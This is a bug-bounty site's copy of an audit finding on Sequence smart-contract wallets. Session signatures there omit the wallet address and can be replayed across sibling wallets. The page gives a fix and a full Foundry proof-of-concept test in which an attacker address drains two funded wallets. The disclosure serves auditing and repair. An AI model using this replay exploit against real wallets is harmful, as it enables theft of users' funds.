Skip to content
Crypto Audit finding Advanced

Session signatures replay across wallets due to missing wallet binding

Session signatures for Sequence wallets were hashed without including the wallet address, so a signature valid for one wallet could be replayed on another wallet with the same configuration and nonce. An attacker could drain sibling wallets without additional signatures.

Manosh19 Follow with 0xvd, Audittens and 11 others

Originally disclosed on Code4rena

Submitted by Manosh19, also found by 0xvd, Audittens, ChainSentry, deeney, ELITE-, HalfBloodPrince, hassan-truscova, ixam, johnyfwesh, K42, Legend, valarislife, and Ziusz

https://github.com/code-423n4/2025-10-sequence/blob/main/src/extensions/sessions/SessionSig.sol#L406-L421

https://github.com/code-423n4/2025-10-sequence/blob/main/src/extensions/sessions/SessionManager.sol#L31-L131

https://github.com/code-423n4/2025-10-sequence/blob/main/src/modules/auth/BaseAuth.sol#L103-L117

https://github.com/code-423n4/2025-10-sequence/blob/main/src/modules/auth/Stage2Auth.sol#L29-L45

Finding description and impact

Sequence wallets rely on SessionSig.hashCallWithReplayProtection to derive the message hashed by session signers. The function only hashes (chainId, nonce space, nonce, call index, call encoding) and omits the wallet address (src/extensions/sessions/SessionSig.sol:406). When a session signer signs a payload for one wallet, the resulting signature can be reused against any other wallet that (a) shares the same configuration image hash and (b) has the same nonce in that space because:

  • SessionManager.recoverSapientSignature validates session signatures but never incorporates msg.sender into the signature preimage (src/extensions/sessions/SessionManager.sol:31-131).
  • BaseAuth.signatureValidation accepts the session image returned by the manager as long as it matches the stored image hash (src/modules/auth/BaseAuth.sol:109-117).
  • Stage‑2 wallets store the latest image hash in storage without binding it to a specific wallet address (src/modules/auth/Stage2Auth.sol:30-42).

In Sequence deployments, multiple wallets (e.g., across chains or within the same org) frequently share identical configurations and synced nonces. As a result, any valid session signature obtained for wallet A can be replayed on wallet B, performing arbitrary authorized actions such as transferring funds. This allows an attacker to drain sibling wallets without additional signatures.

Recommended mitigation steps

Bind the signature preimage to the executing wallet. The simplest fix is to include address(this) (or another wallet-unique value) in SessionSig.hashCallWithReplayProtection. Update the SDK/tooling so session signers hash (wallet, chainId, space, nonce, callIdx, call details). Ensure test suites cover cross-wallet replay attempts after the change.

Proof of Concept

  • Code: test/extensions/sessions/SessionReplay.t.sol

  • Command: forge test --match-test test_crossWalletSessionReplayDrainsSiblingWallet -vv

  • Logs show an attacker replaying the same signature to drain two wallets:

    Attacker balance before: 0.000000000000000000
    WalletA balance before: 1.000000000000000000
    WalletB balance before: 1.000000000000000000
    Attacker balance after: 2.000000000000000000
    WalletA balance after: 0.000000000000000000
    WalletB balance after: 0.000000000000000000
    

Proof of Concept

test/extensions/sessions/SessionReplay.t.sol:

// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.27;

import { Test } from "forge-std/Test.sol";
import { Vm } from "forge-std/Vm.sol";

import { Stage2Module } from "src/Stage2Module.sol";
import { SessionManager } from "src/extensions/sessions/SessionManager.sol";
import { SessionSig } from "src/extensions/sessions/SessionSig.sol";
import { Payload } from "src/modules/Payload.sol";
import { LibOptim } from "src/utils/LibOptim.sol";
import { UsageLimit } from "src/extensions/sessions/explicit/Permission.sol";

contract SessionHelper {

  function hashCall(
    Payload.Decoded calldata payload,
    uint256 callIdx
  ) external view returns (bytes32) {
    return SessionSig.hashCallWithReplayProtection(payload, callIdx);
  }

}

contract SessionReplayTest is Test {

  bytes32 private constant IMAGE_HASH_KEY =
    bytes32(0xea7157fa25e3aa17d0ae2d5280fa4e24d421c61842aa85e45194e1145aa72bf8);

  SessionHelper internal helper;

  function setUp() public {
    helper = new SessionHelper();
  }

  function test_crossWalletSessionReplayDrainsSiblingWallet() public {
    // Actors
    address relayer = makeAddr("relayer");
    address attacker = makeAddr("attacker");
    Vm.Wallet memory sessionWallet = vm.createWallet("session");
    Vm.Wallet memory identityWallet = vm.createWallet("identity");

    // Contracts
    Stage2Module walletA = new Stage2Module(address(0));
    Stage2Module walletB = new Stage2Module(address(0));
    SessionManager sessionManager = new SessionManager();

    // Construct a session configuration with a single explicit permission.
    bytes memory identityNode = abi.encodePacked(bytes1(0x40), identityWallet.addr);
    uint64 deadline = uint64(block.timestamp + 1 days);
    bytes memory permissionArray = abi.encodePacked(
      uint8(1), // One permission in the array
      abi.encodePacked(
        attacker, // Permission target
        uint8(0) // No parameter rules
      )
    );
    bytes memory permissionsNode = abi.encodePacked(
      bytes1(0x00),
      sessionWallet.addr,
      bytes32(uint256(0)), // chainId = any
      bytes32(uint256(2 ether)), // ample native value limit
      bytes8(deadline),
      permissionArray
    );

    bytes memory configData = bytes.concat(identityNode, permissionsNode);
    bytes memory sessionSignature = bytes.concat(bytes3(uint24(configData.length)), configData, bytes1(0x00));

    // Build the payload (increment call + value transfer) and its packed representation.
    bytes memory incrementData = _buildIncrementData(sessionManager, sessionWallet.addr, 1 ether);
    Payload.Decoded memory payload = _buildPayload(address(sessionManager), incrementData, attacker, 1 ether);
    bytes memory packedPayload = _encodePackedPayload(payload);

    // Sign the call hash with the session signer.
    for (uint256 i = 0; i < payload.calls.length; i++) {
      bytes32 callHash = helper.hashCall(payload, i);
      (uint8 v, bytes32 r, bytes32 s) = vm.sign(sessionWallet.privateKey, callHash);

      uint256 sInt = uint256(s);
      require(sInt < (1 << 255), "non-canonical signature");
      if (v == 28) {
        sInt |= (1 << 255);
      }
      bytes32 yParityAndS = bytes32(sInt);

      sessionSignature = bytes.concat(sessionSignature, abi.encodePacked(uint8(0), r, yParityAndS));
    }

    // Derive the sapient image hash once from wallet A and confirm reuse for wallet B.
    bytes32 sapientImageHash;
    {
      vm.prank(address(walletA));
      sapientImageHash = sessionManager.recoverSapientSignature(payload, sessionSignature);

      vm.prank(address(walletB));
      bytes32 secondHash = sessionManager.recoverSapientSignature(payload, sessionSignature);
      assertEq(secondHash, sapientImageHash, "same session signature must validate on sibling wallet");
    }

    // Compute and store the wallet image hash expected by BaseSig.
    bytes32 leaf = keccak256(
      abi.encodePacked("Sequence sapient config:\n", address(sessionManager), uint256(1), sapientImageHash)
    );
    bytes32 finalImageHash = LibOptim.fkeccak256(leaf, bytes32(uint256(1)));
    finalImageHash = LibOptim.fkeccak256(finalImageHash, bytes32(uint256(0)));
    finalImageHash = LibOptim.fkeccak256(finalImageHash, bytes32(uint256(0)));

    vm.store(address(walletA), IMAGE_HASH_KEY, finalImageHash);
    vm.store(address(walletB), IMAGE_HASH_KEY, finalImageHash);

    // Assemble the BaseSig wrapper that references the SessionManager sapient leaf.
    bytes memory baseSignature = _buildBaseSignature(address(sessionManager), sessionSignature);

    // Fund both wallets so the replayed transaction can drain them.
    vm.deal(address(walletA), 1 ether);
    vm.deal(address(walletB), 1 ether);

    emit log_named_decimal_uint("Attacker balance before", attacker.balance, 18);
    emit log_named_decimal_uint("WalletA balance before", address(walletA).balance, 18);
    emit log_named_decimal_uint("WalletB balance before", address(walletB).balance, 18);

    // Legitimate execution on wallet A.
    vm.prank(relayer);
    walletA.execute(packedPayload, baseSignature);

    // Replay the exact same signature against wallet B.
    vm.prank(relayer);
    walletB.execute(packedPayload, baseSignature);

    emit log_named_decimal_uint("Attacker balance after", attacker.balance, 18);
    emit log_named_decimal_uint("WalletA balance after", address(walletA).balance, 18);
    emit log_named_decimal_uint("WalletB balance after", address(walletB).balance, 18);

    assertEq(attacker.balance, 2 ether, "attacker drains both wallets");
    assertEq(address(walletA).balance, 0, "wallet A fully drained");
    assertEq(address(walletB).balance, 0, "wallet B fully drained by replay");
  }

  function _buildPayload(
    address sessionManager,
    bytes memory incrementData,
    address to,
    uint256 value
  ) internal pure returns (Payload.Decoded memory payload) {
    payload.kind = Payload.KIND_TRANSACTIONS;
    payload.space = 0;
    payload.nonce = 0;
    payload.noChainId = false;
    payload.parentWallets = new address[](0);
    payload.calls = new Payload.Call[](2);
    payload.calls[0] = Payload.Call({
      to: sessionManager,
      value: 0,
      data: incrementData,
      gasLimit: 0,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
    });
    payload.calls[1] = Payload.Call({
      to: to,
      value: value,
      data: "",
      gasLimit: 0,
      delegateCall: false,
      onlyFallback: false,
      behaviorOnError: Payload.BEHAVIOR_REVERT_ON_ERROR
    });
  }

  function _buildIncrementData(
    SessionManager sessionManager,
    address sessionSigner,
    uint256 usageAmount
  ) internal view returns (bytes memory) {
    UsageLimit[] memory limits = new UsageLimit[](1);
    limits[0] = UsageLimit({
      usageHash: keccak256(abi.encode(sessionSigner, sessionManager.VALUE_TRACKING_ADDRESS())),
      usageAmount: usageAmount
    });
    return abi.encodeWithSelector(sessionManager.incrementUsageLimit.selector, limits);
  }

  function _encodePackedPayload(
    Payload.Decoded memory payload
  ) internal pure returns (bytes memory) {
    require(payload.calls.length == 2, "expected two calls");

    Payload.Call memory incrementCall = payload.calls[0];
    Payload.Call memory transferCall = payload.calls[1];
    require(incrementCall.data.length > 0, "increment calldata missing");
    require(transferCall.data.length == 0, "transfer calldata must be empty");

    // globalFlag: space=0, nonce omitted, multi-call batch.
    bytes memory packed = abi.encodePacked(uint8(0x01));
    packed = bytes.concat(packed, abi.encodePacked(uint8(payload.calls.length)));

    // Call 0: increment usage limits (has data, no value).
    packed = bytes.concat(
      packed,
      abi.encodePacked(
        uint8(0x44), // data + revert on error
        incrementCall.to,
        bytes3(uint24(incrementCall.data.length)),
        incrementCall.data
      )
    );

    // Call 1: value transfer to attacker.
    packed = bytes.concat(
      packed,
      abi.encodePacked(
        uint8(0x42), // value + revert on error
        transferCall.to,
        transferCall.value
      )
    );

    return packed;
  }

  function _buildBaseSignature(
    address sessionManager,
    bytes memory sessionSignature
  ) internal pure returns (bytes memory) {
    uint256 len = sessionSignature.length;
    bytes memory sizeBytes;
    uint8 suffixNibble;

    if (len < 256) {
      sizeBytes = abi.encodePacked(uint8(len));
      suffixNibble = 0x05; // sizeSize = 1, weight = 1
    } else if (len < 65_536) {
      sizeBytes = abi.encodePacked(uint16(len));
      suffixNibble = 0x09; // sizeSize = 2, weight = 1
    } else {
      sizeBytes = abi.encodePacked(uint24(len));
      suffixNibble = 0x0D; // sizeSize = 3, weight = 1
    }

    return bytes.concat(
      bytes1(0x00), // signature flag
      bytes1(0x01), // threshold = 1
      bytes1(uint8(0x90 | suffixNibble)),
      abi.encodePacked(sessionManager),
      sizeBytes,
      sessionSignature
    );
  }

}

You can see the poc successfully showcase the exploitation here.


The original report as published on Code4rena, by Manosh19. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signature preimage omitted the wallet address, so signatures were not bound to a specific wallet.

Impact

An attacker could drain sibling wallets that share the same configuration and nonce, without needing additional signatures.

What the attacker needed

Two wallets share configuration and nonce; a valid session signature for one wallet

The fix

The signature preimage should be bound to the executing wallet by including the wallet address in the hash.

How it was found

  1. Create two wallets with the same configuration image hash and nonce.
  2. Sign a payload with the session signer for wallet A.
  3. Execute the payload on wallet A.
  4. Replay the same signature on wallet B.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A session signature is like a permission slip that lets someone act on a wallet for a limited time. The code that created the slip forgot to write down which wallet it was for, so the same slip worked on other wallets that looked the same. An attacker who got one slip could use it to empty other wallets.

What is Crypto?

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.

More from Sequence

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cryptographic weaknesses

The lesson behind this report.

Encryption, signatures, randomness or certificate checks that do not protect what they claim to.